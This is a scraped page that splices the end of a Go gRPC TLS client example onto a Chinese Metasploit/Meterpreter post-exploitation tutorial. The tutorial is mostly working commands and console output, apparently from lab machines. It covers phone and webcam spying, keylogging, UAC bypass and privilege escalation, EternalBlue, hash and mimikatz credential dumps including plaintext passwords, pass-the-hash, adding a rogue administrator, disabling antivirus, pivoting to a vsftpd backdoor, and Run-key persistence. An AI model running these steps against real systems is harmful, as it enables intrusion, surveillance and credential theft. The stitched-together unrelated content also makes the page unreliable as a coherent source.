cert, err := tls.LoadX509KeyPair("./conf/client/client.crt", "./conf/client/client.key")
if err != nil {
fmt.Println("LoadX509KeyPair error ", err)
return
}
// 创建一组根证书
certPool := x509.NewCertPool()
ca, err := ioutil.ReadFile("./conf/ca.crt")
if err != nil {
fmt.Println("ReadFile ca.crt error ", err)
return
}
// 解析证书
if ok := certPool.AppendCertsFromPEM(ca); !ok {
fmt.Println("certPool.AppendCertsFromPEM error ")
return
}
c := credentials.NewTLS(&tls.Config{
Certificates: []tls.Certificate{cert},
ServerName: "go-grpc-example",
RootCAs: certPool,
})
conn, err := grpc.Dial(":"+PORT, grpc.WithTransportCredentials(c))
if err != nil {
log.Fatalf("grpc.Dial err: %v", err)
}
defer conn.Close()
client := pb.NewSearchServiceClient(conn)
resp, err := client.Search(context.Background(), &pb.SearchRequest{
Request: "gRPC",
})
if err != nil {
log.Fatalf("client.Search err: %v", err)
}
log.Printf("resp: %s", resp.GetResponse())
}6)启动 & 请求# 启动服务端
$ go run server.go
API server listening at: 127.0.0.1:56036
# 启动客户端
$ go run client.go
API server listening at: 127.0.0.1:56364
2022/11/03 20:21:55 resp: gRPC Server
# 更改ServerName为linzy
$ go run client.go
API server listening at: 127.0.0.1:56424
2022/11/03 20:23:17 client.Search err: rpc error: code = Unavailable desc = connection error: desc = "transport: authentication handshake failed: x509: cer
tificate is valid for go-grpc-example, not linzy"抓个包看看
基于Metasploit的软件渗透测试(五)
Meterpreter指南(后渗透技术)基本命令meterpreter常用命令命令作用background返回,把Meterpreter后台挂起sessions查看当前建立的会话sessions -i number与第n个会话进行交互sessions -i显示当前的回话sessions -k number与第n个会话进行交互关闭bgkill杀死一个 Meterpreter 脚本bglist提供所有正在运行的后台脚本的列表bgrun作为一个后台线程运行脚本channel显示活动频道close关闭通道exit终止 Meterpreter 会话quit终止 Meterpreter 会话interact id切换进一个信道run执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的autoroute,hashdump,arp_scanner,multi_meter_inject等irb进入 Ruby 脚本模式read从通道读取数据write# 将数据写入到一个通道use加载 meterpreter 的扩展load/use加载模块Resource执行一个已有的rc脚本针对安卓的命令dump_contacts获取手机通讯录dump_sms获取短信记录send_sms -d 15330252525 -t “hello”控制实验手机发短信geolocate获取实验手机GPS定位信息wlan_geolocate获取实验手机Wi-Fi定位信息record_mic -d 5控制实验手机录音webcam_list获取实验手机相机设备webcam_snap控制实验手机拍照webcam_stream直播实验手机摄像头针对Windows的一些命令ps查看进程:getpid查看当前进程号:sysinfo查看系统信息:route查看完整网络设置:getsystem自动提权getuid查看当前权限pwd 查看当前处于目标机的那个目录其他命令查看目标机是否为虚拟机:run post/windows/gather/checkvm关闭杀毒软件:run post/windows/manage/killav启动远程桌面协议:run post/windows/manage/enable_rdp列举当前登录的用户:run post/windows/gather/enum_logged_on_users查看当前应用程序:run post/windows/gather/enum_applications抓取目标机的屏幕截图:load espia ; screengrab获取相机设备:webcam_list控制拍照:webcam_snap直播摄像头:webcam_stream控制录音:record_mic查看当前目录:getlwd导出当前用户密码哈希 run hashdump用户名:SID:LM哈希:NTLM哈希:::也可以使用下面这个命令导出权限更高 run windows/gather/smart_hashdump抓取自动登录的用户名和密码 run windows/gather/credentials/windows_autologin直接获取明文密码(注意这个功能需要获取系统权限获取系统权限需要输入getsystem)Shell 脚本进入Windows的终端shell文件系统命令文件交互指令IDCommandDescription1cat读取文件内容2cd切换靶机目录3cp复制文件到目标4mv移动到目标5chmod修改文件权限(比如chmod 777 shell.elf)6del / rm删除靶机文件7dir打印靶机目录8mkdir在靶机上创建目录9rmdir删除靶机目录10edit编辑文件11getlwd打印本地目录12getwd打印靶机目录13lcd更改本地目录14lls列出本地目录15ls列出靶机文件目录16lpwd打印本地目录17pwd打印工作目录19search搜索文件详情search -hLinux权限chmod 777 {文件名.后缀}chmod 777 shell.elfupload上传文件到目标机主上,如upload setup.exe C:\windows\system32download nimeia.txt /root/Desktop/# 下载文件到本机上如:download C:\boot.ini /root/或者download C:\“ProgramFiles”\Tencent\QQ\Users\295******125\Msg2.0.db /root/searchsearch 文件,如search -d c:\ -f*.docsearch -d c:\Users\xiang\Desktop -f *.txtenumdesktops用户登录数ipconfig查看IP地址其他命令截屏meterpreter > screenshotScreenshot saved to: /home/jerry/BqXLvJAp.jpeg获得系统信息
meterpreter > sysinfo
Computer : WIN-2VEIIKHJ7M8
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows获取键盘信息
meterpreter > ps
Process List
============
PID PPID NameArch Session User Path
…
exe
1184 1132 explorer.exex64 1 WIN-2VEIIKHJ7M8\小铃铛 C:\Windows\Explorer.EXE
meterpreter > migrate 1184 迁移到1184进程中
[*] Migrating from 2496 to 1184...
[*] Migration completed successfully.
meterpreter > run post/windows/capture/keylog_recorder
[*] Executing module against WIN-2VEIIKHJ7M8
[*] Starting the keylog recorder...
[*] Keystrokes being saved in to /root/.msf4/loot/20220624132219_default_192.168.0.158_host.windows.key_244146.txt
[*] Recording keystrokes...
^C[*] User interrupt.
[*] Shutting down keylog recorder. Please wait...
# cat /root/.msf4/loot/20220624132219_default_192.168.0.158_host.windows.key_244146.txt
Keystroke log from explorer.exe on WIN-2VEIIKHJ7M8 with user WIN-2VEIIKHJ7M8\小铃铛 started at 2022-06-24 13:22:19 +0800
tgest
<^H><^H><^H><^H><^H><^H>test
I a
mFy<^H><^H>Gu
Xiang
www.
3
Keylog Recorder exited at 2022-06-24 13:24:03 +0800提权最基础的提权
meterpreter >
getuid
Server username:
E86004903967404\Administrator
meterpreter >
getsystem
...got system
via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter >
getuid
Server username:
NT AUTHORITY\SYSTEM利用漏洞提权Windows 7meterpreter >
background
msf6
exploit(windows/local/ms15_051_client_copy_image) > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload
configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6
exploit(windows/smb/ms17_010_eternalblue) > use
exploit/windows/smb/ms17_010_eternalblue
[*] Using
configured payload windows/x64/meterpreter/reverse_tcp
msf6
exploit(windows/smb/ms17_010_eternalblue) > set SESSION 1
SESSION =>
1msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.0.168
rhost =>
192.168.0.168
msf6
exploit(windows/smb/ms17_010_eternalblue) > exploit绕过UAC提权Windows 7用户账户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。meterpreter >
background
msf6
exploit(multi/handler) > use exploit/windows/local/bypassuac
[*] No payload
configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac)
> set session 2
session => 2
msf6
exploit(windows/local/bypassuac) > exploit
[*] Started
reverse TCP handler on 192.168.0.150:4444
[*] UAC is
Enabled, checking level...
[+] UAC is set
to Default
[+] BypassUAC
can bypass this setting, continuing...
…
[*] Meterpreter
session 3 opened (192.168.0.150:4444 -> 192.168.0.168:58389) at 2022-07-19
15:45:06 +0800
meterpreter >
getuid
Server username:
WIN-2VEIIKHJ7M8\小铃铛
meterpreter >
getsystem
...got system
via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter >
getuid
Server username:
NT AUTHORITY\SYSTEM
meterpreter >
触发UAC机制Windows 10meterpreter
> background
[*]
Backgrounding session 1...
msf6
exploit(multi/handler) > use exploit/windows/local/ask
[*] No payload
configured, defaulting to windows/meterpreter/reverse_tcp
msf6
exploit(windows/local/ask) > set session 1
session => 1
msf6
exploit(windows/local/ask) > set filename payload.exe
filename =>
payload.exe
msf6 exploit(windows/local/ask)
> exploit
[*] Started
reverse TCP handler on 192.168.0.150:4444
[*] UAC is
Enabled, checking level...
[*] The user
will be prompted, wait for them to click 'Ok'
[*] Uploading
payload.exe - 73802 bytes to the filesystem...
[*] Executing
Command!
[*] Sending
stage (175686 bytes) to 192.168.0.106
[*] Meterpreter
session 2 opened (192.168.0.150:4444 -> 192.168.0.106:2513) at 2022-06-27
11:39:52 +0800
meterpreter
> getsystem
...got system via technique 1 (Named
Pipe Impersonation (In Memory/Admin)).
获取用户名密码提取密码哈希值Windows 10
meterpreter > getsystem
meterpreter > run post/windows/gather/hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 4368ea4193e43ce242a9fec38c370ea2...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
No users with password hints on this system
[*] Dumping password hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:ca24769333d0f9419d17e86998b56519:::
xiang:1001:aad3b435b51404eeaad3b435b51404ee:4f151ab2d4afdef65f9664b0422ad83f:::
meterpreter > ps | grep lsass
Filtering on 'lsass'
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
736 644 lsass.exe x64 0NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe
meterpreter > migrate 736
[*] Migrating from 5724 to 736...
[*] Migration completed successfully.
meterpreter > load kiwi
Loading extension kiwi...'
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##'Vincent LE TOUX( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter > kiwi_cmd sekurlsa::logonpasswords
…
SID : S-1-5-21-2772671008-4265266102-715737954-1001
msv :
[00000003] Primary
* Username : xianggu625@126.com
* Domain : MicrosoftAccount
* NTLM : 4f151ab2d4afdef65f9664b0422ad83f
tspkg :
wdigest :
* Username : xianggu625@126.com
* Domain : MicrosoftAccount
* Password : (null)
kerberos :
* Username : xianggu625@126.com
* Domain : MicrosoftAccount
* Password : (null)
ssp :
credman :
cloudap :
…重新进入msf6 exploit(windows/local/ask) > use exploit/multi/handler
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.0.150
lhost => 192.168.0.150
msf6 exploit(multi/handler) > set lport 4444
lport => 443
msf6 exploit(multi/handler) set rhost 192.168.0.106
rhost => 192.168.0.106
msf6 exploit(multi/handler) set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) set SMBPass aad3b435b51404eeaad3b435b51404ee:4f151ab2d4afdef65f9664b0422ad83f
SMBPass => aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
msf6 exploit(multi/handler) exploit
[*] Started reverse TCP handler on 192.168.0.150:4444
[*] Sending stage (175686 bytes) to 192.168.0.106
[*] Sending stage (175686 bytes) to 192.168.0.106
[*] Meterpreter session 2 opened (192.168.0.150:4444 -> 192.168.0.106:21198) at 2022-06-27 16:14:14 +0800
[*] Meterpreter session 1 opened (192.168.0.150:4444 -> 192.168.0.106:21197) at 2022-06-27 16:14:14 +0800
meterpreter >Windows7
meterpreter > getsystem
[-] Already running as SYSTEM
meterpreter > run post/windows/gather/hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 7a3026b2f119d51ec136ea51a0acddd6...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
No users with password hints on this system
[*] Dumping password hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
小铃铛:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
meterpreter > ps | grep lsass
Filtering on 'lsass'
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
512 396 lsass.exe x64 0NT AUTHORITY\SYSTEM C:\Windows\system32\lsass.exe
meterpreter > migrate 512
[*] Migrating from 1672 to 512...
[*] Migration completed successfully.
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##'Vincent LE TOUX( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter > kiwi_cmd sekurlsa::logonpasswords
Authentication Id : 0 ; 81005 (00000000:00013c6d)
Session : Interactive from 1
User Name : : WIN-2VEIIKHJ7M8
* LM : 44efce164ab921caaad3b435b51404ee
* NTLM : 32ed87bdb5fdc5e9cba88547376818d4
* SHA1 : 6ed5833cf35286ebf8662b7b5949f0d742bbec3f
tspkg :
* Username : (null)
* Domain : WIN-2VEIIKHJ7M8
* Password : 123456
wdigest :
* Username : (null)
* Domain : WIN-2VEIIKHJ7M8
* Password : 123456
kerberos :
* Username : (null)
* Domain : WIN-2VEIIKHJ7M8
* Password : 123456
ssp :
credman :
[00000000]���
PPgN
.#####. mimikatz 2.2.0 (x64) #19041 May 17 2022 19:25:29
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####'> https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(powershell) # sekurlsa::logonpasswords
Authentication Id : 0 ; 81005 (00000000:00013c6d)
Session : Interactive from 1
User Name : \Ô۔
Domain: WIN-2VEIIKHJ7M8
Logon Server : WIN-2VEIIKHJ7M8
Logon Time: 2022/6/27 14:58:54
SID : S-1-5-21-2305812133-3308626755-1024735854-1000
msv :
[00000003] Primary
* Username : \Ô۔
* Domain : WIN-2VEIIKHJ7M8
* LM : 44efce164ab921caaad3b435b51404ee
* NTLM : 32ed87bdb5fdc5e9cba88547376818d4
* SHA1 : 6ed5833cf35286ebf8662b7b5949f0d742bbec3f
tspkg :
* Username : (null)
* Domain : WIN-2VEIIKHJ7M8
* Password : 123456
wdigest :
* Username : (null)
* Domain : WIN-2VEIIKHJ7M8
* Password : 123456
kerberos :
* Username : (null)
*重新进入msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.0.150
lhost => 192.168.0.150
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > set rhost 192.168.0.158
rhost => 192.168.0.158
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set SMBPass 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
SMBPass => 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.0.150:4444
[*] Sending stage (175686 bytes) to 192.168.0.158
[*] Meterpreter session 1 opened (192.168.0.150:4444 -> 192.168.0.158:49194) at 2022-06-27 17:20:14 +0800
meterpreter >
令牌假冒添加用户
meterpreter > ps | grep lsass
Filtering on 'lsass'
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
736 644 lsass.exe x64 0NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe meterpreter > steal_token 736
Stolen token with username: NT AUTHORITY\SYSTEM
meterpreter > use incognito
Loading extension incognito...Success.
meterpreter > list_tokens -u
Delegation Tokens Available
========================================
DESKTOP-9A8VFKB\xiang
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
NT SERVICE\ReportServer
Window Manager\DWM-1
Impersonation Tokens Available
========================================
Font Driver Host\UMFD-0
Font Driver Host\UMFD-1
NT AUTHORITY\ANONYMOUS LOGON
NT SERVICE\MSSQLFDLauncher
NT SERVICE\MSSQLSERVER
NT SERVICE\MSSQLServerOLAPService
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > add_user tom 123456 -h 192.168.0.106
[*] Attempting to add user tom to host 192.168.0.106
[+] Successfully added user
meterpreter > add_group_user "administrators" tom -h 192.168.0.106
…
跳板目标为安装vsftpd V2.3.4的Linux机器Windows10->vsftpd V2.3.4的Linux机器
meterpreter >
run get_local_subnets
[!] Meterpreter
scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run
post/multi/manage/autoroute OPTION=value [...]
Local subnet:
192.168.0.0/255.255.255.0
Local subnet:
192.168.5.0/255.255.255.0
Local subnet:
192.168.81.0/255.255.255.0
meterpreter >
background
[*]
Backgrounding session 3...
msf6
exploit(windows/local/ask) > route add 192.168.0.0 255.255.255.0 3
[*] Route added
msf6
exploit(windows/local/ask) > route print
IPv4 Active
Routing Table
=========================
Subnet Netmask Gateway
------ ------- -------
192.168.0.0 255.255.255.0 Session 3
[*] There are
currently no IPv6 routes defined.
msf6
exploit(windows/smb/ms17_010_eternalblue) > use
exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload
configured, defaulting to cmd/unix/interact
msf6
exploit(unix/ftp/vsftpd_234_backdoor) > set payload cmd/unix/interact
payload =>
cmd/unix/interact
msf6
exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.0.171
rhost =>
192.168.0.171
sf6
exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*]
192.168.0.171:21 - Banner: 220 (vsFTPd 2.3.4)
[*]
192.168.0.171:21 - USER: 331 Please specify the password.
[+]
192.168.0.171:21 - Backdoor service has been spawned, handling...
[+]
192.168.0.171:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command
shell session 4 opened (192.168.0.106:29720 -> 192.168.0.171:6200 via
session 3) at 2022-07-19 17:00:32 +0800使用Meterpreter运行脚本运行VNCWindows 10
meterpreter > run vnc
[*] Creating a VNC reverse tcp stager: LHOST=192.168.0.150 LPORT=4545
[*] Running payload handler
[*] VNC stager executable 73802 bytes long
[*] Uploaded the VNC agent to C:\Users\xiang\AppData\Local\Temp\eiISyc.exe (must be deleted manually)
[*] Executing the VNC agent with endpoint 192.168.0.150:4545...
[-] Could not execute vnc: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.
到windows里面运行C:\Users\xiang\AppData\Local\Temp\eiISyc.exe会看到效果
meterpreter > [*] VNC Server session 3 opened (192.168.0.150:4545 -> 192.168.0.106:8611) at 2022-06-28 11:38:32 +0800
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
No authentication needed
Authentication successful
Desktop name "desktop-9a8vfkb"
VNC server default format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encodingWindows 7
meterpreter > run vnc
[*] Creating a VNC reverse tcp stager: LHOST=192.168.0.150 LPORT=4545
[*] Running payload handler
[*] VNC stager executable 73802 bytes long
[*] Uploaded the VNC agent to C:\Windows\TEMP\YNpMWsIZ.exe (must be deleted manually)
[*] Executing the VNC agent with endpoint 192.168.0.150:4545...
meterpreter > Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
No authentication needed
Authentication successful
[*] VNC Server session 2 opened (192.168.0.150:4545 -> 192.168.0.158:49170) at 2022-06-28 12:22:50 +0800
Desktop name "win-2veiikhj7m8"
VNC server default format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding迁移进程meterpreter > run post/windows/manage/migrate
[*] Running module against DESKTOP-9A8VFKB
[*] Current server process: payload.exe (8716)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 9944
[+] Successfully migrated into process 9944关闭杀毒软件
meterpreter > run killav
[!] Meterpreter scripts are deprecated. Try post/windows/manage/killav.
[!] Example: run post/windows/manage/killav OPTION=value [...]
[*] Killing Antivirus services on the target...获取系统密码哈希值
meterpreter > run hashdump
[!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.
[!] Example: run post/windows/gather/smart_hashdump OPTION=value [...]
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 4368ea4193e43ce242a9fec38c370ea2...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[-] Error: ArgumentError wrong number of arguments (given 4, expected 5) …
所以改用meterpreter > run post/windows/gather/smart_hashdump
[*] Running module against DESKTOP-9A8VFKB
[*] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[*] /root/.msf4/loot/20220628120236_default_192.168.0.106_windows.hashes_115893.txt
[*] Dumping password hashes...
[*] Running as SYSTEM extracting hashes from registry
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 4368ea4193e43ce242a9fec38c370ea2...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
[*] No users with password hints on this system
[*] Dumping password hashes...
[+]Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+]DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+]WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] xiang:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] tom:1010:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::或
meterpreter > run post/windows/gather/hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 7a3026b2f119d51ec136ea51a0acddd6...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
No users with password hints on this system
[*] Dumping password hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
小铃铛:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
tom:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::获取目标机上流量目标机必须支持:rpcapd service,在Windows上安装winpcap即可meterpreter > run post/windows/manage/rpcapd_start
[*] Checking if machine DESKTOP-9A8VFKB has rpcapd service
[*] Rpcap service found: Remote Packet Capture Protocol v.0 (experimental)
[*] Setting rpcapd as 'auto' service
[*] Enabling rpcapd.exe in Windows Firewall
[*] Installing rpcap in PASSIVE mode (local port: 2002)
[+] Rpcapd started successfully: C:\Program Files (x86)\winpcap\rpcapd.exe -d -p 2002 -n获取系统信息Windows 10meterpreter >run scraper
[*] New session on 192.168.0.106:7216...
[*] Gathering basic system information...
[-] Failed to run command net view
[-] Error: Rex::TimeoutError Operation timed out.
[*] Error dumping hashes: Rex::Post::Meterpreter::RequestError priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
[*] Obtaining the entire registry...
[*] Exporting HKCU
[*] Downloading HKCU (C:\Users\xiang\AppData\Local\Temp\WLNUaYcc.reg)
[*] Cleaning HKCU
[*] Exporting HKLM
[-] Failed to run command reg.exe export HKLM C:\Users\xiang\AppData\Local\Temp\IymTDekJ.reg
[-] Error: Rex::TimeoutError Operation timed out.
[*] Downloading HKLM (C:\Users\xiang\AppData\Local\Temp\IymTDekJ.reg)
[*] Exception: Rex::Post::Windows 7meterpreter > run scraper
[*] New session on 192.168.0.158:445...
[*] Gathering basic system information...
[*] Dumping password hashes...
[*] Obtaining the entire registry...
[*] Exporting HKCU
[*] Downloading HKCU (C:\Windows\TEMP\sbOwIdlG.reg)
[*] Cleaning HKCU
[*] Exporting HKLM
[*] Downloading HKLM (C:\Windows\TEMP\pQzbPtfD.reg)
[*] Cleaning HKLM
[*] Exporting HKCC
[*] Downloading HKCC (C:\Windows\TEMP\xdgVency.reg)
[*] Cleaning HKCC
[*] Exporting HKCR
[*] Downloading HKCR (C:\Windows\TEMP\aWoyKSRV.reg)
[*] Cleaning HKCR
[*] Exporting HKU
[*] Downloading HKU (C:\Windows\TEMP\abgTRNGl.reg)
[*] Cleaning HKU
[*] Completed processing on 192.168.0.158:445...Windows 2003
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > run scraper
[*] New session on 192.168.0.169:1438...
[*] Gathering basic system information...
[*] Error dumping hashes: Rex::Post::Meterpreter::RequestError priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
[*] Obtaining the entire registry...
[*] Exporting HKCU
[*] Downloading HKCU (C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\IatUIdPZ.reg)
[*] Cleaning HKCU
[*] Exporting HKLM
[*] Downloading HKLM (C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\JcjKKLfF.reg)
[*] Cleaning HKLM
[*] Exporting HKCC
[*] Downloading HKCC (C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\gLgAxVWq.reg)
[*] Cleaning HKCC
[*] Exporting HKCR
[*] Downloading HKCR (C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\KDJAycay.reg)
[*] Cleaning HKCR
[*] Exporting HKU
[*] Downloading HKU (C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\zebuwlsT.reg)
[*] Cleaning HKU
[*] Completed processing on 192.168.0.169:1438...
控制持久化meterpreter > run persistence -X -i 50 -p 8888 -r 192.168.0.106启动meterpreter:-X50秒后重连:-i 50使用端口8888:-p 8888目的IP 192.168.0.106:-r 192.168.0.106meterpreter > run persistence -X -i 50 -p 8888 -r 192.168.0.106
[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value [...]
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/WIN-2VEIIKHJ7M8_20220628.5835/WIN-2VEIIKHJ7M8_20220628.5835.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=8888
[*] Persistent agent script is 99674 bytes long
[+] Persistent Script written to C:\Windows\TEMP\QQxsjpmT.vbs
[*] Executing script C:\Windows\TEMP\QQxsjpmT.vbs
[+] Agent executed with PID 2580
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MdedIPrvpFMB
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MdedIPrvpFMBWindows7成功将命令行shell升级为Metewrpreter
msf6> use exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > setg rhost 192.168.0.158
rhost => 192.168.0.158
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -z-z:攻击成功,在后台,不进入
[*] Started reverse TCP handler on 192.168.0.150:4444
[*] 192.168.0.158:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.0.158:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.0.158:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.0.158:445 - The target is vulnerable.
[*] 192.168.0.158:445 - Connecting to target for exploitation.
[+] 192.168.0.158:445 - Connection established for exploitation.
[+] 192.168.0.158:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.0.158:445 - CORE raw buffer dump (40 bytes)
[*] 192.168.0.158:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 48 6f 6d 65 20 42 Windows 7 Home B
[*] 192.168.0.158:445 - 0x00000010 61 73 69 63 20 37 36 30 31 20 53 65 72 76 69 63 asic 7601 Servic
[*] 192.168.0.158:445 - 0x00000020 65 20 50 61 63 6b 20 31 e Pack 1
[+] 192.168.0.158:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.0.158:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.0.158:445 - Sending all but last fragment of exploit packet
[*] 192.168.0.158:445 - Starting non-paged pool grooming
[+] 192.168.0.158:445 - Sending SMBv2 buffers
[+] 192.168.0.158:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.0.158:445 - Sending final SMBv2 buffers.
[*] 192.168.0.158:445 - Sending last fragment of exploit packet!
[*] 192.168.0.158:445 - Receiving response from exploit packet
[+] 192.168.0.158:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.0.158:445 - Sending egg to corrupted connection.
[*] 192.168.0.158:445 - Triggering free of corrupted buffer.
